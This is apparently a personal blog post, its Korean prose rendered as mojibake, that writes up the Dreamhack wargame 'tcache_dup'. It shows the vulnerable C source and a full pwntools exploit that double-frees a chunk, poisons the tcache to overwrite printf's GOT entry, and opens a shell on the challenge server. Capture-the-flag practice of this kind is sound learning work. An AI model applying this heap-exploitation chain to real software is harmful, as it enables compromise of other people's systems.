TIL: tcache poisoning 1 ๐Ÿ—ƒ๏ธ

Wargame: tcache_dup

๋ฌธ์ œ์˜ ์†Œ์Šค ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if(cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if(!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while(1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

Vulnerability Scanning

  • checksec

  • create์„ ์ด์šฉํ•ด ์›ํ•˜๋Š” size๋กœ malloc์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ , ๊ทธ ์•ˆ์— data๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค.
  • free๋ฅผ ์ด์šฉํ•ด allocateํ•œ chunk ์ค‘ ์›ํ•˜๋Š” chunk๋ฅผ freeํ•  ์ˆ˜ ์žˆ๋‹ค.
  • get_shell์„ ์‹คํ–‰ํ•˜๋ฉด shell์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

Exploit

from pwn import *

#p = process("./tcache_dup")
p = remote("host3.dreamhack.games", 9302)
#gdb.attach(p)
e = ELF("./tcache_dup")

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))

create(0x30, "AAAA")
delete(0)
delete(0)

printf_got = e.got["printf"]
get_shell = e.symbols["get_shell"]

create(0x30, p64(printf_got))
create(0x30, "AAAA")
create(0x30, p64(get_shell))

p.interactive()
  • ๋ฌธ์ œ์˜ ์„œ๋ฒ„์—์„œ ์‚ฌ์šฉ์ค‘์ธ libc์˜ ๋ฒ„์ „์—์„œ๋Š” ์•ž์„œ ์„ค๋ช…ํ•œ tcache_entryโ†’key๋ฅผ ํ™œ์šฉํ•œ DFB ๋ฐฉ์ง€๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋”ฐ๋ผ์„œ ๊ทธ๋ƒฅ free๋ฅผ ๋‘ ๋ฒˆ ์‹คํ–‰ํ•˜์—ฌ DFB๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

Categories: ,

Updated:

Leave a comment